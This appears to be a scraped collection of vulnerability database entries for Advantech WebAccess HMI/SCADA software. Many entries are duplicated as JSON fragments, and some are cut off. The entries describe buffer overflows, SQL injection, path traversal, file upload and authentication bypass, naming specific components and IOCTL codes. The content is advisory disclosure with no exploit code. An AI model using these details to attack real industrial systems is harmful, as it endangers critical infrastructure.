Cross-site scripting (XSS) vulnerability in Advantech WebAccess before 8.1 allows remote authenticated users to inject arbitrary web script or HTML via unspecified vectors. WebAccess HMI/SCADA software provides remote control and management, allowing users to easily view and configure automation equipment in facility management systems, power stations and building automation systems. Advantech WebAccess is prone to following security vulnerabilities: 1. A denial-of-service vulnerability 2. An arbitrary file-upload vulnerability 3. A directory-traversal vulnerability 4. Multiple stack-based buffer-overflow vulnerabilities 5. A heap-based buffer overflow vulnerability 6. Multiple buffer-overflow vulnerabilities 7. Multiple information disclosure vulnerabilities 8. A cross-site scripting vulnerability 9. An SQL-injection vulnerability 10. A cross-site request forgery vulnerability 11. A remote-code execution vulnerability An attacker can exploit these issues to execute arbitrary code in the context of the application, cause a denial-of-service condition, upload arbitrary files, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database, to use directory-traversal sequences ('../') to retrieve arbitrary files, obtain sensitive information and perform certain unauthorized actions. This may aid in further attacks. Advantech WebAccess 8.0 and prior versions are vulnerable. Advantech WebAccess is a browser-based HMI/SCADA software developed by Advantech

WebAccess HMI/SCADA software provides remote control and management, allowing users to easily view and configure automation equipment in facility management systems, power stations and building automation systems. Advantech WebAccess is prone to following security vulnerabilities:\n1. A denial-of-service vulnerability\n2. An arbitrary file-upload vulnerability\n3. A directory-traversal vulnerability\n4. Multiple stack-based buffer-overflow vulnerabilities\n5. A heap-based buffer overflow vulnerability\n6. Multiple buffer-overflow vulnerabilities\n7. Multiple information disclosure vulnerabilities\n8. A cross-site scripting vulnerability\n9. An SQL-injection vulnerability\n10. A cross-site request forgery vulnerability\n11. A remote-code execution vulnerability\nAn attacker can exploit these issues to execute arbitrary code in the context of the application, cause a denial-of-service condition, upload arbitrary files, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database, to use directory-traversal sequences (\u0027../\u0027) to retrieve arbitrary files, obtain sensitive information and perform certain unauthorized actions. This may aid in further attacks. \nAdvantech WebAccess 8.0 and prior versions are vulnerable. Advantech WebAccess is a browser-based HMI/SCADA software developed by Advantech",

Vulnerability from variot
Stack-based buffer overflow in Advantech WebAccess before 7.2 allows remote attackers to execute arbitrary code via a long NodeName2 argument. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within the webvact.ocx ActiveX Control. The control does not check the length of an attacker-supplied NodeName2 string before copying it into a fixed length buffer on the stack. Advantech WebAccess HMI/SCADA is an HMI/SCADA software. Advantech WebAccess is prone to a stack-based buffer-overflow vulnerability because the application fails to properly bounds-check user-supplied data before copying it into an insufficiently sized buffer. Failed attempts will likely cause a denial-of-service condition. Advantech WebAccess 7.1 and prior are vulnerable. The software supports dynamic graphic display and real-time data control, and provides functions of remote control and management of automation equipment. There is a stack-based buffer overflow vulnerability in Advantech WebAccess 7.1 and earlier versions

"data": "Stack-based buffer overflow in Advantech WebAccess before 7.2 allows remote attackers to execute arbitrary code via a long NodeName2 argument. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within the webvact.ocx ActiveX Control. The control does not check the length of an attacker-supplied NodeName2 string before copying it into a fixed length buffer on the stack. Advantech WebAccess HMI/SCADA is an HMI/SCADA software. Advantech WebAccess is prone to a stack-based buffer-overflow vulnerability because the application fails to properly bounds-check user-supplied data before copying it into an insufficiently sized buffer. Failed attempts will likely cause a denial-of-service condition. \nAdvantech WebAccess 7.1 and prior are vulnerable. The software supports dynamic graphic display and real-time data control, and provides functions of remote control and management of automation equipment. There is a stack-based buffer overflow vulnerability in Advantech WebAccess 7.1 and earlier versions",

Vulnerability from variot
An Untrusted Pointer Dereference issue was discovered in Advantech WebAccess versions prior to V8.2_20170817. A remote attacker is able to execute code to dereference a pointer within the program causing the application to become unavailable. Advantech WebAccess Is NULL A vulnerability related to pointer dereference exists.Service operation interruption (DoS) There is a possibility of being put into a state. Authentication is not required to exploit this vulnerability. The specific flaw exists within the implementation of the 0x2723 IOCTL in the webvrpcs process. An attacker can leverage this functionality to execute code under the context of Administrator. Advantech WebAccess is a suite of browser-based HMI/SCADA software from Advantech. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. Advantech WebAccess is prone to multiple remote code-execution vulnerabilities. Failed exploit attempts will result in a denial-of-service condition. Versions prior to Advantech WebAccess 8.2_20170817 are vulnerable

Vulnerability from variot
This vulnerability allows remote attackers to execute arbitrary code on affected installations of Advantech WebAccess. Authentication is not required to exploit this vulnerability.The specific flaw exists within bwscrp.exe when invoked via IOCTL 0x2711. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length stack-based buffer. An attacker can leverage this vulnerability to execute code in the context of Administrator.

Vulnerability from variot
Unrestricted file upload vulnerability in the uploadImageCommon function in the UploadAjaxAction script in the WebAccess Dashboard Viewer in Advantech WebAccess before 8.1 allows remote attackers to write to files of arbitrary types via unspecified vectors. Advantech WebAccess Contains a vulnerability where an unlimited number of files can be uploaded and written to any type of file. http://cwe.mitre.org/data/definitions/434.htmlIt may be written to any type of file by a third party. Authentication is not required to exploit this vulnerability. The specific flaw exists within the WebAccess Dashboard Viewer. Insufficient validation within the FileUpload script allows unauthenticated callers to upload arbitrary code to directories in the server where the code can be automatically executed under the high-privilege context of the IIS AppPool. An attacker can leverage this vulnerability to execute arbitrary code under the context of SYSTEM. Advantech WebAccess HMI/SCADA software provides remote control and management. Advantech WebAccess is prone to following security vulnerabilities: 1. A denial-of-service vulnerability 2. An arbitrary file-upload vulnerability 3. A directory-traversal vulnerability 4. Multiple stack-based buffer-overflow vulnerabilities 5. A heap-based buffer overflow vulnerability 6. Multiple buffer-overflow vulnerabilities 7. Multiple information disclosure vulnerabilities 8. A cross-site scripting vulnerability 9. An SQL-injection vulnerability 10. A remote-code execution vulnerability An attacker can exploit these issues to execute arbitrary code in the context of the application, cause a denial-of-service condition, upload arbitrary files, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database, to use directory-traversal sequences ('../') to retrieve arbitrary files, obtain sensitive information and perform certain unauthorized actions. This may aid in further attacks. Advantech WebAccess 8.0 and prior versions are vulnerable. Advantech WebAccess is a browser-based HMI/SCADA software developed by Advantech

Vulnerability from variot
This vulnerability allows remote attackers to execute arbitrary code on vulnerable instances of Advantech WebAccess. Authentication is not required to exploit this vulnerability.The specific flaw exists within the implementation of the 0x13C7C IOCTL in the BwOpcTool subsystem. A stack-based buffer overflow vulnerability exists in a call to sprintf with the ProjectName and NodeName parameters. An attacker can use this vulnerability to execute arbitrary code in the context of an administrator of the system. Advantech WebAccess is prone to multiple stack-based buffer-overflow vulnerabilities because it fails to adequately bounds-check user-supplied data before copying it to an insufficiently sized memory buffer. Failed attacks will likely cause denial-of-service conditions

"data": "This vulnerability allows remote attackers to execute arbitrary code on vulnerable instances of Advantech WebAccess. Authentication is not required to exploit this vulnerability.The specific flaw exists within the implementation of the 0x13C7C IOCTL in the BwOpcTool subsystem. A stack-based buffer overflow vulnerability exists in a call to sprintf with the ProjectName and NodeName parameters. An attacker can use this vulnerability to execute arbitrary code in the context of an administrator of the system. Advantech WebAccess is prone to multiple stack-based buffer-overflow vulnerabilities because it fails to adequately bounds-check user-supplied data before copying it to an insufficiently sized memory buffer. Failed attacks will likely cause denial-of-service conditions",

Only the clients and servers that have a legitimate procedural relationship with the service should be permitted to communicate with it. This could be accomplished in a number of ways, most notably with firewall rules/whitelisting. These features are available in the native Windows Firewall, as described in and numerous other Microsoft Knowledge Base articles.",

Vulnerability from variot
Buffer overflow in Advantech WebAccess before 8.1_20160519 allows local users to cause a denial of service via a crafted DLL file. Advantech WebAccess (formerly known as BroadWin WebAccess) is a suite of browser-based HMI/SCADA software from Advantech. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. A buffer overflow vulnerability exists in versions prior to Advantech WebAccess 8.1_20160519. An attacker could exploit this vulnerability to insert and execute arbitrary code with a specially crafted DLL file. Advantech WebAccess is prone to the following security vulnerabilities: 1. Unsafe ActiveX control local security vulnerability 2. A local buffer-overflow vulnerability Local attackers can exploit these issues to perform unauthorized actions and crash the affected application; denying service to legitimate users. Due to the nature of these issues, code-execution may be possible but this has not been confirmed

"data": "Buffer overflow in Advantech WebAccess before 8.1_20160519 allows local users to cause a denial of service via a crafted DLL file. Advantech WebAccess (formerly known as BroadWin WebAccess) is a suite of browser-based HMI/SCADA software from Advantech. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. A buffer overflow vulnerability exists in versions prior to Advantech WebAccess 8.1_20160519. An attacker could exploit this vulnerability to insert and execute arbitrary code with a specially crafted DLL file. Advantech WebAccess is prone to the following security vulnerabilities:\n1. Unsafe ActiveX control local security vulnerability\n2. A local buffer-overflow vulnerability\nLocal attackers can exploit these issues to perform unauthorized actions and crash the affected application; denying service to legitimate users. Due to the nature of these issues, code-execution may be possible but this has not been confirmed",

Vulnerability from variot
This vulnerability allows remote attackers to disclose sensitive information on vulnerable installations of Advantech WebAccess. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed.The specific flaw exists within ExlViewer.dll. The issue results from the lack of proper validation of a user-supplied string before using it to construct SQL queries. An attacker can leverage this vulnerability to extract information from the underlying database. Advantech WebAccess is a suite of browser-based HMI/SCADA software from Advantech. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment

Vulnerability from variot
Stack-based buffer overflow in Advantech WebAccess before 7.2 allows remote attackers to execute arbitrary code via a long AccessCode argument. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within the webvact.ocx ActiveX Control. The control does not check the length of an attacker-supplied AccessCode string before copying it into a fixed length buffer on the stack. Advantech WebAccess HMI/SCADA is an HMI/SCADA software. Advantech WebAccess is prone to a stack-based buffer-overflow vulnerability because the application fails to properly bounds-check user-supplied data before copying it into an insufficiently sized buffer. Failed attempts will likely cause a denial-of-service condition. Advantech WebAccess 7.1 and prior are vulnerable. The software supports dynamic graphic display and real-time data control, and provides functions of remote control and management of automation equipment. There is a stack-based buffer overflow vulnerability in Advantech WebAccess 7.1 and earlier versions

"data": "Stack-based buffer overflow in Advantech WebAccess before 7.2 allows remote attackers to execute arbitrary code via a long AccessCode argument. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within the webvact.ocx ActiveX Control. The control does not check the length of an attacker-supplied AccessCode string before copying it into a fixed length buffer on the stack. Advantech WebAccess HMI/SCADA is an HMI/SCADA software. Advantech WebAccess is prone to a stack-based buffer-overflow vulnerability because the application fails to properly bounds-check user-supplied data before copying it into an insufficiently sized buffer. Failed attempts will likely cause a denial-of-service condition. \nAdvantech WebAccess 7.1 and prior are vulnerable. The software supports dynamic graphic display and real-time data control, and provides functions of remote control and management of automation equipment. There is a stack-based buffer overflow vulnerability in Advantech WebAccess 7.1 and earlier versions",

Vulnerability from variot
Cross-site request forgery (CSRF) vulnerability in Advantech WebAccess before 8.1 allows remote attackers to hijack the authentication of unspecified victims via unknown vectors. Advantech WebAccess Contains a cross-site request forgery vulnerability.Authentication may be hijacked by a third party. WebAccess HMI/SCADA software provides remote control and management, allowing users to easily view and configure automation equipment in facility management systems, power stations and building automation systems. Advantech WebAccess is prone to following security vulnerabilities: 1. A denial-of-service vulnerability 2. An arbitrary file-upload vulnerability 3. A directory-traversal vulnerability 4. Multiple stack-based buffer-overflow vulnerabilities 5. A heap-based buffer overflow vulnerability 6. Multiple buffer-overflow vulnerabilities 7. Multiple information disclosure vulnerabilities 8. A cross-site scripting vulnerability 9. An SQL-injection vulnerability 10. A remote-code execution vulnerability An attacker can exploit these issues to execute arbitrary code in the context of the application, cause a denial-of-service condition, upload arbitrary files, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database, to use directory-traversal sequences ('../') to retrieve arbitrary files, obtain sensitive information and perform certain unauthorized actions. This may aid in further attacks. Advantech WebAccess 8.0 and prior versions are vulnerable. Advantech WebAccess is a browser-based HMI/SCADA software developed by Advantech. A remote attacker could exploit this vulnerability to perform unauthorized operations

Vulnerability from variot
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within nvA1Media.ocx. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a stack-based buffer. An attacker can leverage this vulnerability to execute arbitrary code under the context of the process.

Multiple relative path traversal vulnerabilities exist that may allow an authenticated user to use a specially crafted file to delete files outside the application\u2019s control. Advantech WebAccess Node Exists in a past traversal vulnerability.Information is tampered with and service operation is interrupted (DoS) It may be put into a state. This vulnerability allows remote attackers to delete arbitrary files on affected installations of Advantech WebAccess Node. Authentication is not required to exploit this vulnerability.The specific flaw exists within the implementation of IOCTL 0x2715 in the webvrpcs process. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to delete files in the context of Administrator. Advantech WebAccess is a browser-based SCADA software package for monitoring, data acquisition, and visualization. It is used to automate complex industrial processes when remote operation is required. \n\r\n\r\nAdvantech WebAccess Node has a path traversal vulnerability, which can be exploited by an attacker to inject and execute specially crafted input into memory.

Vulnerability from variot
An issue was discovered in Advantech WebAccess Version 8.1. By accessing a specific uniform resource locator (URL) on the web server, a malicious user is able to access pages unrestricted (AUTHENTICATION BYPASS). This vulnerability allows remote attackers to disclose sensitive information on vulnerable installations of Advantech WebAccess. Authentication is required to exploit this vulnerability, but can be easily bypassed.The specific flaw exists within updateTemplate.aspx. The vulnerability is caused by lack of input validation before using a remotely supplied string to construct SQL queries. An attacker can use this vulnerability to disclose passwords of administrative accounts used by Advantech WebAccess. Advantech WebAccess (formerly known as BroadWinWebAccess) is a suite of browser-based HMI/SCADA software from Advantech. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. A security bypass vulnerability exists in Advantech WebAccess version 8.1. An attacker could exploit the vulnerability to bypass certain security restrictions and perform unauthorized operations. Advantech WebAccess is prone to an SQL-injection vulnerability and an authentication-bypass vulnerability. WebAccess 8.1 is vulnerable; other versions may also be affected

Vulnerability from variot
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within TpMegaJVT.ocx. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer. An attacker can leverage this vulnerability to execute arbitrary code under the context of the process. Advantech WebAccess is a suite of browser-based HMI/SCADA software from Advantech. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment

Vulnerability from variot
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within nvA1Media.ocx. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a stack-based buffer. An attacker can leverage this vulnerability to execute arbitrary code under the context of the process.

Vulnerability from variot
In Advantech WebAccess versions V8.2_20170817 and prior, WebAccess versions V8.3.0 and prior, WebAccess Dashboard versions V.2.0.15 and prior, WebAccess Scada Node versions prior to 8.3.1, and WebAccess/NMS 2.0.3 and prior, a heap-based buffer overflow vulnerability has been identified, which may allow an attacker to execute arbitrary code. plural Advantech WebAccess The product contains a buffer error vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. This vulnerability allows remote attackers to execute arbitrary code on vulnerable instances of Advantech WebAccess. Authentication is not required to exploit this vulnerability.The specific flaw exists within the implementation of the 0x13C80 IOCTL in the BwOpcTool subsystem. When parsing the NamedObject structure, the process does not properly validate the length of user-supplied data prior to copying it to a fixed-length, heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of Administrator. Advantech WebAccess and others are products of Advantech. Advantech WebAccess is a browser-based HMI/SCADA software. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. WebAccess Dashboard is one of the dashboard components; WebAccess Scada Node is one of the monitoring node components. WebAccess/NMS is a suite of web browsers for the Network Management System (NMS). A heap buffer overflow vulnerability exists in several Advantech products. Advantech WebAccess is prone to the following security vulnerabilities: 1. Multiple SQL-injection vulnerabilities 2. An information-disclosure vulnerability 3. A file-upload vulnerability 4. Multiple directory-traversal vulnerabilities 5. Multiple stack-based buffer-overflow vulnerabilities 6. A heap-based buffer-overflow vulnerability 7. Multiple arbitrary code-execution vulnerabilities 8. A denial-of-service vulnerability 9. A security-bypass vulnerability 10. A privilege-escalation vulnerability An attacker can exploit these issues to execute arbitrary code in the context of the application, or modify data, or exploit latent vulnerabilities in the underlying database, delete arbitrary files, gain elevated privileges, perform certain unauthorized actions, upload arbitrary files to the affected application gain unauthorized access and obtain sensitive information. Failed attacks will cause denial of service conditions. Advantech WebAccess, etc. Advantech WebAccess is a set of HMI/SCADA software based on browser architecture. The following products and versions are affected: Advantech WebAccess 8.2_20170817 and earlier, 8.3.0 and earlier; WebAccess Dashboard 2.0.15 and earlier; WebAccess Scada Node 8.3.1 and earlier; WebAccess/NMS 2.0.3 and earlier

This vulnerability allows remote attackers to execute arbitrary code on vulnerable instances of Advantech WebAccess. Authentication is not required to exploit this vulnerability.The specific flaw exists within the implementation of the 0x13C80 IOCTL in the BwOpcTool subsystem. When parsing the NamedObject structure, the process does not properly validate the length of user-supplied data prior to copying it to a fixed-length, heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of Administrator. Advantech WebAccess and others are products of Advantech. Advantech WebAccess is a browser-based HMI/SCADA software. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. WebAccess Dashboard is one of the dashboard components; WebAccess Scada Node is one of the monitoring node components. WebAccess/NMS is a suite of web browsers for the Network Management System (NMS). A heap buffer overflow vulnerability exists in several Advantech products. Advantech WebAccess is prone to the following security vulnerabilities:\n1. Multiple SQL-injection vulnerabilities\n2. An information-disclosure vulnerability\n3. A file-upload vulnerability\n4. Multiple directory-traversal vulnerabilities\n5. Multiple stack-based buffer-overflow vulnerabilities\n6. A heap-based buffer-overflow vulnerability\n7. Multiple arbitrary code-execution vulnerabilities\n8. A denial-of-service vulnerability\n9. A security-bypass vulnerability\n10. A privilege-escalation vulnerability\nAn attacker can exploit these issues to execute arbitrary code in the context of the application, or modify data, or exploit latent vulnerabilities in the underlying database, delete arbitrary files, gain elevated privileges, perform certain unauthorized actions, upload arbitrary files to the affected application gain unauthorized access and obtain sensitive information. Failed attacks will cause denial of service conditions. Advantech WebAccess, etc. Advantech WebAccess is a set of HMI/SCADA software based on browser architecture. The following products and versions are affected: Advantech WebAccess 8.2_20170817 and earlier, 8.3.0 and earlier; WebAccess Dashboard 2.0.15 and earlier; WebAccess Scada Node 8.3.1 and earlier; WebAccess/NMS 2.0.3 and earlier",

Vulnerability from variot
Advantech WebAccess/SCADA, Versions 8.3.5 and prior. Multiple stack-based buffer overflow vulnerabilities, caused by a lack of proper validation of the length of user-supplied data, may allow remote code execution. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess Node. Authentication is not required to exploit this vulnerability.The specific flaw exists within bwmakdir.exe, which is accessed through the 0x2711 IOCTL in the webvrpcs process. An attacker can leverage this vulnerability to execute code in the context of Administrator. Advantech WebAccess/SCADA is a set of browser-based SCADA software from Advantech. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. A buffer overflow vulnerability exists in Advantech WebAccess/SCADA. This vulnerability stems from the fact that when the network system or product performs operations on the memory, the data boundary is not correctly verified, resulting in execution to other associated memory locations. erroneous read and write operations

Vulnerability from variot
An issue was discovered in Advantech WebAccess Version 8.1. To be able to exploit the SQL injection vulnerability, an attacker must supply malformed input to the WebAccess software. Successful attack could result in administrative access to the application and its data files. This vulnerability allows remote attackers to disclose sensitive information on vulnerable installations of Advantech WebAccess. Authentication is required to exploit this vulnerability, but can be easily bypassed.The specific flaw exists within updateTemplate.aspx. The vulnerability is caused by lack of input validation before using a remotely supplied string to construct SQL queries. An attacker can use this vulnerability to disclose passwords of administrative accounts used by Advantech WebAccess. Advantech WebAccess is a suite of browser-based HMI/SCADA software from Advantech. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. A SQL injection vulnerability exists in Advantech WebAccess version 8.1. Advantech WebAccess is prone to an SQL-injection vulnerability and an authentication-bypass vulnerability. An attacker can exploit these issues to bypass certain security restrictions, perform unauthorized actions, modify the logic of SQL queries, compromise the software, retrieve information, or modify data; other consequences are possible as well. WebAccess 8.1 is vulnerable; other versions may also be affected

Vulnerability from variot
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within nvA1Media.ocx. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a stack-based buffer. An attacker can leverage this vulnerability to execute arbitrary code under the context of the process.

"data": "Advantech WebAccess 8.3.1 and earlier has an improper privilege management vulnerability, which may allow an attacker to access those files and perform actions at a system administrator level. Advantech WebAccess Contains vulnerabilities related to authorization, permissions, and access control.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. This vulnerability allows local attackers to escalate privileges on vulnerable installations of Advantech WebAccess Node. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.The specific flaw exists within the access control that is set and modified during the installation of the product. The product installation weakens access control restrictions of pre-existing system files and sets weak access control restrictions on new files. Advantech (Advantech) WebAccess software is the core of Advantech\u0027s IoT application platform solution, providing users with a user interface based on HTML5 technology to achieve cross-platform and cross-browser data access experience. Advantech WebAccess has an improper rights management vulnerability. Advantech WebAccess is prone to the following security vulnerabilities:\n1. A stack-based buffer overflow vulnerability\n2.

Vulnerability from variot
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within nvA1Media.ocx. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a stack-based buffer. An attacker can leverage this vulnerability to execute arbitrary code under the context of the process.

Vulnerability from variot
Stack-based buffer overflow in Advantech WebAccess before 7.2 allows remote attackers to execute arbitrary code via a long NodeName parameter. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within the webvact.ocx ActiveX Control. The control does not check the length of an attacker-supplied NodeName string before copying it into a fixed length buffer on the stack. Advantech WebAccess HMI/SCADA is an HMI/SCADA software. Advantech WebAccess is prone to a stack-based buffer-overflow vulnerability because the application fails to properly bounds-check user-supplied data before copying it into an insufficiently sized buffer. Failed attempts will likely cause a denial-of-service condition. Advantech WebAccess 7.1 and prior are vulnerable. The software supports dynamic graphic display and real-time data control, and provides functions of remote control and management of automation equipment. There is a stack-based buffer overflow vulnerability in Advantech WebAccess 7.1 and earlier versions

"data": "Stack-based buffer overflow in Advantech WebAccess before 7.2 allows remote attackers to execute arbitrary code via a long NodeName parameter. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within the webvact.ocx ActiveX Control. The control does not check the length of an attacker-supplied NodeName string before copying it into a fixed length buffer on the stack. Advantech WebAccess HMI/SCADA is an HMI/SCADA software. Advantech WebAccess is prone to a stack-based buffer-overflow vulnerability because the application fails to properly bounds-check user-supplied data before copying it into an insufficiently sized buffer. Failed attempts will likely cause a denial-of-service condition. \nAdvantech WebAccess 7.1 and prior are vulnerable. The software supports dynamic graphic display and real-time data control, and provides functions of remote control and management of automation equipment. There is a stack-based buffer overflow vulnerability in Advantech WebAccess 7.1 and earlier versions",

Vulnerability from variot
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within RtspVapgDecoderNew2.dll. The issue results from the lack of proper validation of user-supplied data which can result in a memory access outside an allocated buffer. An attacker can leverage this vulnerability to execute arbitrary code under the context of the process. Advantech WebAccess is a suite of browser-based HMI/SCADA software from Advantech. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment

Vulnerability from variot
A stack-based buffer overflow issue was discovered in Advantech WebAccess versions prior to V8.2_20170817. Researchers have identified multiple vulnerabilities where there is a lack of proper validation of the length of user-supplied data prior to copying it to a stack-based buffer, which could allow an attacker to execute arbitrary code under the context of the process. Advantech WebAccess Contains a buffer error vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Advantech WebAccess is a suite of browser-based HMI/SCADA software from Advantech. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. Advantech WebAccess is prone to the following security vulnerabilities: 1. Multiple stack-based buffer-overflow vulnerabilities 2. Multiple heap-based buffer-overflow vulnerabilities. 3. Multiple memory-corruption vulnerabilities. 4. An SQL-injection vulnerability. 5. A format-string vulnerability. 6. An authentication-bypass vulnerability. 7. A security-bypass vulnerability. 8. A privilege-escalation vulnerability. 9. A remote-code execution vulnerability. This may aid in further attacks. Advantech WebAccess versions prior to V8.2_20170817 are vulnerable. The vulnerability stems from the fact that the program does not fully verify the length of the data submitted by the user

"data": "A stack-based buffer overflow issue was discovered in Advantech WebAccess versions prior to V8.2_20170817. Researchers have identified multiple vulnerabilities where there is a lack of proper validation of the length of user-supplied data prior to copying it to a stack-based buffer, which could allow an attacker to execute arbitrary code under the context of the process. Advantech WebAccess Contains a buffer error vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Advantech WebAccess is a suite of browser-based HMI/SCADA software from Advantech. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. Advantech WebAccess is prone to the following security vulnerabilities:\n1. Multiple stack-based buffer-overflow vulnerabilities\n2. Multiple heap-based buffer-overflow vulnerabilities. \n3. Multiple memory-corruption vulnerabilities. \n4. An SQL-injection vulnerability. \n5. A format-string vulnerability. \n6. An authentication-bypass vulnerability. \n7. A security-bypass vulnerability. \n8. A privilege-escalation vulnerability. \n9. A remote-code execution vulnerability. This may aid in further attacks. \nAdvantech WebAccess versions prior to V8.2_20170817 are vulnerable. The vulnerability stems from the fact that the program does not fully verify the length of the data submitted by the user",

Only the clients and servers that have a legitimate procedural relationship with the service should be permitted to communicate with it. This could be accomplished in a number of ways, most notably with firewall rules/whitelisting. These features are available in the native Windows Firewall, as described in and numerous other Microsoft Knowledge Base articles.",

Vulnerability from variot
Advantech WebAccess Node, Version 8.4.4 and prior, Version 9.0.0. Input is not properly sanitized and may allow an attacker to inject SQL commands. Advantech WebAccess Node To SQL An injection vulnerability exists.Information may be obtained. This vulnerability allows remote attackers to disclose sensitive information on affected installations of Advantech WebAccess/SCADA. Authentication is not required to exploit this vulnerability.The specific flaw exists within the implementation of IOCTL 0x00013c71 in BwWebSvc.dll. The issue results from the lack of proper validation of a user-supplied string before using it to construct SQL queries. An attacker can leverage this vulnerability to disclose stored credentials, leading to further compromise. Advantech WebAccess is a browser-based SCADA software package for monitoring, data acquisition, and visualization. It is used to automate complex industrial processes when remote operation is required. The vulnerability is caused by the program not properly sanitizing user input

"data": "Advantech WebAccess Node, Version 8.4.4 and prior, Version 9.0.0. Input is not properly sanitized and may allow an attacker to inject SQL commands. Advantech WebAccess Node To SQL An injection vulnerability exists.Information may be obtained. This vulnerability allows remote attackers to disclose sensitive information on affected installations of Advantech WebAccess/SCADA. Authentication is not required to exploit this vulnerability.The specific flaw exists within the implementation of IOCTL 0x00013c71 in BwWebSvc.dll. The issue results from the lack of proper validation of a user-supplied string before using it to construct SQL queries. An attacker can leverage this vulnerability to disclose stored credentials, leading to further compromise. Advantech WebAccess is a browser-based SCADA software package for monitoring, data acquisition, and visualization. It is used to automate complex industrial processes when remote operation is required. The vulnerability is caused by the program not properly sanitizing user input",

This could be accomplished in a number of ways, most notably with firewall rules/whitelisting. These features are available in the native Windows Firewall, as described in and numerous other Microsoft Knowledge Base articles.",

Vulnerability from variot
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within RtspVapgDecoderNew2.dll. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a stack-based buffer. An attacker can leverage this vulnerability to execute arbitrary code under the context of the process. Advantech WebAccess is a suite of browser-based HMI/SCADA software from Advantech. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. The length of the data provided by the user is not verified

Vulnerability from variot
A heap-based buffer overflow issue was discovered in Advantech WebAccess versions prior to V8.2_20170817. Researchers have identified multiple vulnerabilities where there is a lack of proper validation of the length of user-supplied data prior to copying it to the heap-based buffer, which could allow an attacker to execute arbitrary code under the context of the process. Advantech WebAccess Contains a buffer error vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Advantech WebAccess is a suite of browser-based HMI/SCADA software from Advantech. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. Advantech WebAccess is prone to the following security vulnerabilities: 1. Multiple stack-based buffer-overflow vulnerabilities 2. Multiple heap-based buffer-overflow vulnerabilities. 3. Multiple memory-corruption vulnerabilities. 4. An SQL-injection vulnerability. 5. A format-string vulnerability. 6. An authentication-bypass vulnerability. 7. A security-bypass vulnerability. 8. A privilege-escalation vulnerability. 9. A remote-code execution vulnerability. This may aid in further attacks. Advantech WebAccess versions prior to V8.2_20170817 are vulnerable. The vulnerability stems from the fact that the program does not fully verify the length of the data submitted by the user

Vulnerability from variot
